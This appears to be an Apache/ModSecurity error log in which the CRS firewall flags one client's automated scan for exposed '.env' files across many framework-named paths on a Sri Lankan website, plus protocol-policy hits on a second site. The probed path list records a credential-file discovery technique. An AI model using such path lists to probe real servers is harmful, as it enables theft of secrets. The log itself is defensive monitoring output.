[Fri Jul 17 09:26:10.678129 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/client/.env"] [unique_id "almn2q14q1EBnanVMYGpdQAAAAk"]
[Fri Jul 17 09:26:10.785239 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:10.810960 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:10.843999 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/project/.env"] [unique_id "almn2o-0g_VSPeIeFN3F8QAAAAs"]
[Fri Jul 17 09:26:10.844434 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/project/.env"] [unique_id "almn2o-0g_VSPeIeFN3F8QAAAAs"]
[Fri Jul 17 09:26:10.845094 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/project/.env"] [unique_id "almn2o-0g_VSPeIeFN3F8QAAAAs"]
[Fri Jul 17 09:26:11.007775 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin-panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/admin-panel/.env"] [unique_id "almn241dLClkUfK_dfHqZwAAAAI"]
[Fri Jul 17 09:26:11.008070 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/admin-panel/.env"] [unique_id "almn241dLClkUfK_dfHqZwAAAAI"]
[Fri Jul 17 09:26:11.008493 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/admin-panel/.env"] [unique_id "almn241dLClkUfK_dfHqZwAAAAI"]
[Fri Jul 17 09:26:11.082457 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn27EWOaI5pmYo9fnUTgAAAAA"]
[Fri Jul 17 09:26:11.082563 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn27EWOaI5pmYo9fnUTgAAAAA"]
[Fri Jul 17 09:26:11.083276 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn27EWOaI5pmYo9fnUTgAAAAA"]
[Fri Jul 17 09:26:11.162222 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:39134] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:11.186485 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /control-panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/control-panel/.env"] [unique_id "almn2wRRrtuZqNDDSqW1UgAAABo"]
[Fri Jul 17 09:26:11.186925 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/control-panel/.env"] [unique_id "almn2wRRrtuZqNDDSqW1UgAAABo"]
[Fri Jul 17 09:26:11.187542 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/control-panel/.env"] [unique_id "almn2wRRrtuZqNDDSqW1UgAAABo"]
[Fri Jul 17 09:26:11.347268 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /user-panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/user-panel/.env"] [unique_id "almn24-0g_VSPeIeFN3F8gAAAAs"]
[Fri Jul 17 09:26:11.347538 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/user-panel/.env"] [unique_id "almn24-0g_VSPeIeFN3F8gAAAAs"]
[Fri Jul 17 09:26:11.347927 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/user-panel/.env"] [unique_id "almn24-0g_VSPeIeFN3F8gAAAAs"]
[Fri Jul 17 09:26:11.505227 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/node/.env"] [unique_id "almn2w7FYe46zHK_jL3VjQAAABk"]
[Fri Jul 17 09:26:11.505489 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/node/.env"] [unique_id "almn2w7FYe46zHK_jL3VjQAAABk"]
[Fri Jul 17 09:26:11.505862 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/node/.env"] [unique_id "almn2w7FYe46zHK_jL3VjQAAABk"]
[Fri Jul 17 09:26:11.557496 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn27EWOaI5pmYo9fnUTgAAAAA"]
[Fri Jul 17 09:26:11.680764 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /express/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/express/.env"] [unique_id "almn2yRF0UOO1RzB5_8ztgAAAA4"]
[Fri Jul 17 09:26:11.681077 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/express/.env"] [unique_id "almn2yRF0UOO1RzB5_8ztgAAAA4"]
[Fri Jul 17 09:26:11.681500 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/express/.env"] [unique_id "almn2yRF0UOO1RzB5_8ztgAAAA4"]
[Fri Jul 17 09:26:11.880020 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /next/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/next/.env"] [unique_id "almn27oj0IkvhSCYadmHcQAAAAQ"]
[Fri Jul 17 09:26:11.880319 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/next/.env"] [unique_id "almn27oj0IkvhSCYadmHcQAAAAQ"]
[Fri Jul 17 09:26:11.880777 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/next/.env"] [unique_id "almn27oj0IkvhSCYadmHcQAAAAQ"]
[Fri Jul 17 09:26:12.045922 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nuxt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/nuxt/.env"] [unique_id "almn3Il9vhFBGA6D8l9_wAAAAAw"]
[Fri Jul 17 09:26:12.046215 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/nuxt/.env"] [unique_id "almn3Il9vhFBGA6D8l9_wAAAAAw"]
[Fri Jul 17 09:26:12.046651 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/nuxt/.env"] [unique_id "almn3Il9vhFBGA6D8l9_wAAAAAw"]
[Fri Jul 17 09:26:12.208910 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nest/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/nest/.env"] [unique_id "almn3I-0g_VSPeIeFN3F9AAAAAs"]
[Fri Jul 17 09:26:12.209204 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/nest/.env"] [unique_id "almn3I-0g_VSPeIeFN3F9AAAAAs"]
[Fri Jul 17 09:26:12.209590 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/nest/.env"] [unique_id "almn3I-0g_VSPeIeFN3F9AAAAAs"]
[Fri Jul 17 09:26:12.366016 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /react/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/react/.env"] [unique_id "almn3ARRrtuZqNDDSqW1VAAAABo"]
[Fri Jul 17 09:26:12.366306 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/react/.env"] [unique_id "almn3ARRrtuZqNDDSqW1VAAAABo"]
[Fri Jul 17 09:26:12.366675 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/react/.env"] [unique_id "almn3ARRrtuZqNDDSqW1VAAAABo"]
[Fri Jul 17 09:26:12.536240 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /vue/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/vue/.env"] [unique_id "almn3Il9vhFBGA6D8l9_wQAAAAw"]
[Fri Jul 17 09:26:12.536512 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/vue/.env"] [unique_id "almn3Il9vhFBGA6D8l9_wQAAAAw"]
[Fri Jul 17 09:26:12.536899 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/vue/.env"] [unique_id "almn3Il9vhFBGA6D8l9_wQAAAAw"]
[Fri Jul 17 09:26:12.694893 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /angular/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/angular/.env"] [unique_id "almn3Ie39YUk0SgV8AU_qQAAABE"]
